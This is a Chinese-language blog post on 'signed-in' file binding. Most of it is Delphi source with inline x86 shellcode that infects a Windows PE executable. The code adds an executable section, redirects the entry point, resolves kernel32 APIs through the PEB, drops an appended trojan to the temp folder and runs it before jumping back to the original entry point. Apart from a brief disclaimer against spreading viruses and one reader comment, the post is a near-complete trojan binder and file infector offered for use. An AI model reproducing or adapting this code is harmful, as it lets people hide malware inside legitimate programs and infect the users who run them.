文件捆绑(二)

  • 内容
  • 评论
  • 相关

上次写到使用附加捆绑文件的方式. 这次介绍使用签入式捆绑
签入式捆绑的原理也很简单,
也是把木马程序附加到程序尾部 然后在原程序里添加一个代码节
用来把木马程序释放出来. 最后将原程序的入口点改成添加节的起始地址
由于这种试会改变原程序的大小,并且和程序运行的环境有关.
所以 .net或其它的虚拟机程序是不能被运行的.
还有一种就是有附加数据的程序  因为改变了文件的大小 如果强行捆绑 有可能会使原程序执行出错.
下面给出捆绑代码(请勿用于病毒传播)Demo下载

procedure InfectOneFile(ASrcFileName,ADesFileName: string; const isCheck: Boolean = true);
var
  I: integer;
  F,F1: THandle;
  dReadNum: DWORD;
  DosHeader: TImageDosHeader;
  NTHeader: TImageNtHeaders; {NtHeader}
  NewSectionHeader,SEChea: TImageSectionHeader;
  nOldSectionNo: Integer;{节数目}
 OEP: Integer; {入口点}
 SectionAlign: Integer; {节对齐}
 FileAlign: Integer; {文件对齐}     
  Data: TDatas;
  pShell: PChar;
  nShellLen, nNewImageSize, nNewSizeofCode: Integer;
  jmp: BYTE;
  buf: array[0..$1000] of byte;
  TempPath: string;
  FileSize: Integer;
  label shellend, shell, Search, QUIT,RE;
begin
  TempPath := '';
  F := CreateFile(PChar(ADesFileName), GENERIC_READ or GENERIC_WRITE, 0, nil, OPEN_EXISTING, 0, 0);
  try
    //打开失败退出
    if F = INVALID_HANDLE_VALUE then
    begin
      {$IFDEF DEBUG} AddLog('打开文件失败'+ADesFileName); {$ENDIF} 
      Exit;
    end;
    //检查是否PE文件
    ReadFile(F, DosHeader, SizeOf(TImageDosHeader), dReadNum, nil);       
    if not DosHeader.e_magic = IMAGE_DOS_SIGNATURE then
    begin
      {$IFDEF DEBUG} AddLog('不是PE文件'+ADesFileName); {$ENDIF} 
      Exit;
    end;
    
    SetFilePointer(F, $30, nil, FILE_BEGIN);
    ReadFile(F, Data, SizeOf(TDatas), dReadNum, nil);
    if Data.ID = $88888888 then  {已经被附加}
    begin
      {$IFDEF DEBUG} AddLog('已经感染'+ADesFileName); {$ENDIF} 
      Exit;
    end;
    //读取NTHeader
    SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
    ReadFile(F, NTHeader, SizeOf(NTHeader), dReadNum, nil);
    if NTHeader.Signature <> IMAGE_NT_SIGNATURE then Exit;
    if (NTHeader.FileHeader.Characteristics = $10E) and isCheck then
    begin
      {$IFDEF DEBUG} AddLog('.net或其它文件'+ADesFileName); {$ENDIF}
      Exit; //.net 或其它文件 不能附加
    end;

    nOldSectionNo := NTHeader.FileHeader.NumberOfSections;
    OEP := NTHeader.OptionalHeader.AddressOfEntryPoint;
    SectionAlign := NTHeader.OptionalHeader.SectionAlignment;
    FileAlign := NTHeader.OptionalHeader.FileAlignment;
    ZeroMemory(@NewSectionHeader, SizeOf(TImageSectionHeader));
    //读取最后一个节头
    SetFilePointer(F, DosHeader._lfanew+SizeOf(TImageNtHeaders), nil, FILE_BEGIN);
    for i := 0 to nOldSectionNo - 1 do
       ReadFile(F, SEChea, SizeOf(TImageSectionHeader), dReadNum, nil);
    FileSize := GetFileSize(F, nil);   
    if (FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData) and isCheck then 
    begin  //有附加数据不能附加
      {$IFDEF DEBUG} AddLog('.有附加数据不能感染'+ADesFileName); {$ENDIF}
      Exit;
    end;
    goto shellend; 
    asm
    shell:
      pushad
      mov eax, fs:$30  //;PEB的地址
    mov eax, [eax + $0c]
      mov esi, [eax + $1c]
      lodsd
      mov eax, [eax + $08] //;eax就是kernel32.dll的基址
      mov edi, eax //同时保存kernel32.dll的基址到edi
  
    //通过搜索 kernel32.dll的导出表查找GetProcAddress函数的地址
      mov ebp, eax
      mov eax, [ebp + $3c]
      mov edx, [ebp + eax + $78]
      add edx, ebp
      mov ecx, [edx + $18]
      mov ebx, [edx + $20]
      add ebx, ebp
  
      Search:
        dec ecx
        mov esi, [ebx + ecx * 4]
        add esi, ebp
        mov eax, $50746547
        cmp [esi], eax  //比较"PteG"
        jne Search
        mov eax, $41636f72
        cmp [esi + 4], eax
        jne Search
        mov ebx, [edx + $24]
        add ebx, ebp
        mov cx, [ebx + ecx * 2]
        mov ebx, [edx + $1c]
        add ebx, ebp
        mov eax, [ebx + ecx * 4]
        add eax, ebp  //eax保存的就是GetProcAddress的地址  
        //为局部变量分配空间
        push ebp
        sub esp, $50
        mov ebp, esp
        
        mov [ebp + $10], eax //把GetProcAddress的地址保存到ebp + 10中 
        //查找  GlobalAlloc
        push DWORD PTR $636F6C
        push DWORD PTR $6C416C61
        push DWORD PTR $626F6C47
        push esp
        push edi
        call [ebp + $10]
        //mov [ebp + $14], eax //保存GlobalAlloc的地址到ebp + 14h
        push $1000 //分配$1000空间内存
        push GHND
        call eax
        mov [ebp + $4C], eax//保存hMem
        mov eax, [eax]  //
        mov [ebp + $4], eax
        //mov [ebp + $14], eax //保存指针   
        //mov eax, edx         
        mov [eax],DWORD PTR $61657243
        add eax, 4
        mov [eax],DWORD PTR $69466574                 
        add eax, 4
        mov [eax],DWORD PTR $41656C
        
      //开始查找CreateFileA的地址, 先构造"CreateFileA\0"
        push [ebp + $4] //压入"CreateFileA\0"的地址
        push edi //edi:kernel32的基址
        call [ebp + $10] //返回值(即CreateFileA的地址)保存在eax中
        mov [ebp + $14], eax //保存CreateFileA的地址到ebp + 14h         
        
        //开始查找ReadFile的地址
        mov eax, [ebp + $4]         
        mov [eax],DWORD PTR $64616552
        add eax, 4
        mov [eax],DWORD PTR $656C6946
        add eax, 4
        mov [eax],DWORD PTR $0
                
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $18], eax //保存ReadFile的地址到ebp + 18h
        
        //查找 WriteFile
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $74697257
        add eax, 4
        mov [eax],DWORD PTR $6C694665
        add eax, 4
        mov [eax],DWORD PTR $65
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $1C], eax //保存WriteFile的地址到ebp + 1Ch
        //查找GetModuleFileNameA
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $4D746547
        add eax, 4
        mov [eax],DWORD PTR $6C75646F
        add eax, 4
        mov [eax],DWORD PTR $6C694665
        add eax, 4
        mov [eax],DWORD PTR $6D614E65
        add eax, 4
        mov [eax],DWORD PTR $4165
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $20], eax //保存GetModuleFileNameA的地址到ebp + 20h
        //查找SetFilePointer
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $46746553
        add eax, 4
        mov [eax],DWORD PTR $50656C69
        add eax, 4
        mov [eax],DWORD PTR $746E696F
        add eax, 4
        mov [eax],DWORD PTR $7265         
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $24], eax 
        //查找 GetTempPathA
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $54746547
        add eax, 4
        mov [eax],DWORD PTR $50706D65
        add eax, 4
        mov [eax],DWORD PTR $41687461
        add eax, 4
        mov [eax],DWORD PTR $0
        
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $28], eax
        //查找CloseHandle
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $736F6C43
        add eax, 4
        mov [eax],DWORD PTR $6E614865
        add eax, 4
        mov [eax],DWORD PTR $656C64
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $2C], eax
        //查找WinExec
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $456E6957
        add eax, 4
        mov [eax],DWORD PTR $636578
        push [ebp + $4]
        push edi
        call [ebp + $10]
        mov [ebp + $30], eax 
        //获取文件名
        push $FF
        //lea eax, [ebp + $4]
        push [ebp + $4]
        push DWORD PTR $0
        call [ebp + $20] //GetModuleFileName    
        //打开文件
        push $0
        push $0
        push OPEN_EXISTING
        push $0
        push FILE_SHARE_READ
        push GENERIC_READ  
        push [ebp + $4]
        call [ebp + $14]
        mov [ebp + $34], eax //保存文件句柄
        cmp eax, $FFFFFFFF  //打开失败
        jz QUIT
        //SetFilePointer $30
        push $0
        push $0
        push $30
        push [ebp + $34]
        call [ebp + $24] //SetFilePointer
        //ReadFile ID
        push $0
        mov eax, [ebp + $4]
        push eax
        push $4
        add eax, 4
        push eax
        push [ebp + $34]
        call [ebp + $18] //ReadFile ID
        mov eax, [ebp + $4]
        add eax, 4
        cmp [eax], $88888888
        jnz QUIT
        //ReadFile Offset
        push $0
        mov eax,[ebp + $4]
        push eax
        push $4
        add eax, 4
        push eax //Offset
        push [ebp + $34]
        call [ebp + $18]
        
        //ReadFile  Size
        push $0
        mov eax,[ebp + $4]
        push eax
        push $4
        add eax, 8
        push eax //Size
        push [ebp + $34]
        call [ebp + $18]
        //SetFilePointer OffSet
        push $0
        push $0
        mov eax, [ebp + $4]
        add eax, 4
        push [eax]
        push [ebp + $34]
        call [ebp + $24]
        mov eax,[ebp + $4]
        add eax, $C
        push eax
        push $FF
        call [ebp + $28] //TempPath
        mov edx,[ebp + $4]
        add edx, $C 
        add eax, edx          
        mov [eax],DWORD PTR $2E656d69
        add eax, 4
        mov [eax],DWORD PTR $657865
        
        //打开文件
        push $0
        push $0
        push CREATE_ALWAYS
        push $0
        push $0
        push GENERIC_WRITE
        push edx 
        call [ebp + $14]  //CreateFile NewFile
        mov [ebp + $44], eax //保存文件句柄
        cmp eax, $FFFFFFFF
        jz QUIT
    RE: //ReadFile
        push $0
        mov eax,[ebp + $4]
        push eax
        push $FF
        add eax, $C
        add eax, $FF
        push eax//Buff
        push [ebp + $34]
        call [ebp + $18] //ReadFile
        //WriteFile
        push $0
        mov eax,[ebp + $4]
        push eax
        push [eax]
        add eax, $C
        add eax, $FF
        push  eax//Buff
        push [ebp + $44]
        call [ebp + $1C]
        mov eax, [ebp + $4]
        cmp [eax], 0
        jnz RE
        push [ebp + $44]
        call [ebp + $2c] //关闭新文件句柄
        
        push [ebp + $34]
        call [ebp + $2c] //关闭文件句柄
        //运行程序
        (这里省略一部分)        
        //释放内存   
        mov eax, [ebp + $4]
        mov [eax],DWORD PTR $626F6C47
        add eax, 4
        mov [eax],DWORD PTR $72466C61
        add eax, 4
        mov [eax],DWORD PTR $6565
        push [ebp + $4]
        push edi
        call [ebp + $10]  //GlobalFree
        push [ebp + $4C]
        call eax
                
    QUIT:  mov esp, ebp
        add esp, $50
        popad
    end;
    shellend:
    asm
      LEA EAX,shell
    MOV pShell,EAX;
    LEA EBX,shellend
     SUB EBX,EAX
     MOV nShellLen,EBX
    end;
    FileSize := GetFileSize(F, nil);
    SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);
    if FileSize <> SEChea.PointerToRawData + SEChea.SizeOfRawData then //有附加数据
    begin
      //将附加数据写入临时文件
      TempPath := GetTempDir + '{3B034D2C-A7B4-47D0-BA07-988E9359649D}';
      F1 := CreateFile(PChar(TempPath), GENERIC_WRITE, 0, nil, CREATE_ALWAYS, 0, 0);
      try
        if F1 = INVALID_HANDLE_VALUE then Exit;
        repeat
           ReadFile(F, buf, sizeOf(buf), dReadNum, nil);
           WriteFile(F1, buf, dReadNum, dReadNum, nil);
        until dReadNum = 0;
      finally
         CloseHandle(F1);
      end;
    end;
    //写入代码
    SetFilePointer(F, SEChea.PointerToRawData + SEChea.SizeOfRawData, nil, FILE_BEGIN);
    //原来的文件没有对齐
    if Align(SEChea.SizeOfRawData, FileAlign) <>  SEChea.SizeOfRawData then
    begin
      jmp := $00;
     for i := 0 to Align(SEChea.SizeOfRawData,FileAlign) - SEChea.SizeOfRawData - 1 do
       WriteFile(F, jmp, 1, dReadNum, nil);
    end;
    WriteFile(F, pShell^, nShellLen, dReadNum, nil);
    //SHELLCODE之后是跳转到原OEP的指令
   NewSectionHeader.VirtualAddress := SEChea.VirtualAddress
                          + Align(SEChea.Misc.VirtualSize,SectionAlign);
   jmp := $E9;
   OEP := OEP - (NewSectionHeader.VirtualAddress + nShellLen) - 5;
   WriteFile(F, jmp, sizeof(jmp), dReadNum, nil);
   WriteFile(F, OEP, sizeof(OEP), dReadNum, nil);
   //将最后增加的数据用0填充至按文件中对齐的大小
    jmp := $00;
    for i:=0 to Align(nShellLen,FileAlign) - nShellLen - 6 do
       WriteFile(F, jmp, 1, dReadNum, nil);
   //新区块中的数据
   Move('.data', NewSectionHeader.Name, 5);
   NewSectionHeader.PointerToRawData := SEChea.PointerToRawData + Align(SEChea.SizeOfRawData, FileAlign);
   NewSectionHeader.Misc.VirtualSize := nShellLen;
   NewSectionHeader.SizeOfRawData := Align(nShellLen, FileAlign);
   NewSectionHeader.Characteristics := $E0000020;//新区块可读可写可执行
    
    SetFilePointer(F, DosHeader._lfanew + SizeOf(TImageNtHeaders) + SizeOf(TImageSectionHeader) * nOldSectionNo, nil, FILE_BEGIN);
   //写入新的块表
   WriteFile(F, NewSectionHeader,SizeOf(TImageSectionHeader),dReadNum, nil);
   nNewImageSize := NTHeader.OptionalHeader.SizeOfImage + Align(nShellLen, SectionAlign);
   nNewSizeofCode := NTHeader.OptionalHeader.SizeOfCode + Align(nShellLen, FileAlign);
   NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress := 0;
   NTHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size := 0;
   NTHeader.OptionalHeader.SizeOfCode := nNewSizeofCode;
    NTHeader.OptionalHeader.SizeOfImage := nNewImageSize;
   NTHeader.FileHeader.NumberOfSections := nOldSectionNo + 1;
   NTHeader.OptionalHeader.AddressOfEntryPoint := NewSectionHeader.VirtualAddress;
    //写入更新后的PE头结构
    SetFilePointer(F, DosHeader._lfanew, nil, FILE_BEGIN);
   WriteFile(F, NTHeader ,Sizeof(TImageNTHeaders), dReadNum, nil);
    if TempPath <> '' then  //将附加数据写回来
    begin
      F1 := CreateFile(PChar(TempPath), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
      try
        if F1 = INVALID_HANDLE_VALUE then Exit;
        SetFilePointer(F, NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData, nil, FILE_BEGIN);
        repeat
           ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
           WriteFile(F, buf, dReadNum, dReadNum, nil);
        until dReadNum = 0;
      finally
         CloseHandle(F1);
         DeleteFile(PChar(TempPath));
      end;
    end;
    //写入附加数据
    F1 := CreateFile(PChar(ASrcFileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
    try
      if F1 = INVALID_HANDLE_VALUE then
      begin
        {$IFDEF DEBUG} AddLog('打开源文件失败'+ASrcFileName); {$ENDIF}
        Exit;
      end;
      Data.ID := $88888888;
      Data.Offset := NewSectionHeader.SizeOfRawData + NewSectionHeader.PointerToRawData;
      Data.Size := GetFileSize(F1, nil);
      SetFilePointer(F, $30, nil, FILE_BEGIN);
      WriteFile(F, Data, SizeOf(TDatas), dReadNum, nil);
      SetFilePointer(F, 0, nil, FILE_END);
      SetFilePointer(F1, 0, nil, FILE_BEGIN);
      repeat
         ReadFile(F1, buf, sizeOf(buf), dReadNum, nil);
         WriteFile(F, buf, dReadNum, dReadNum, nil);
      until dReadNum = 0;
    finally
       CloseHandle(F1);   
    end;
  finally
    CloseHandle(F);
  end;
  {$IFDEF DEBUG} AddLog(ASrcFileName+'感染成功'+ADesFileName); {$ENDIF}
end;

--------------------------------------------------------------------------------
【版权声明】: 本文原创于http://2Lin.net, 转载请注明作者并保持文章的完整, 谢谢!

评论

152条评论
  1. Gravatar 头像

    七爷 回复

    好一个$2E656d69... -_-o

    还要自己写TDatas的结构...汗~~~

发表评论

电子邮件地址不会被公开。 必填项已用*标注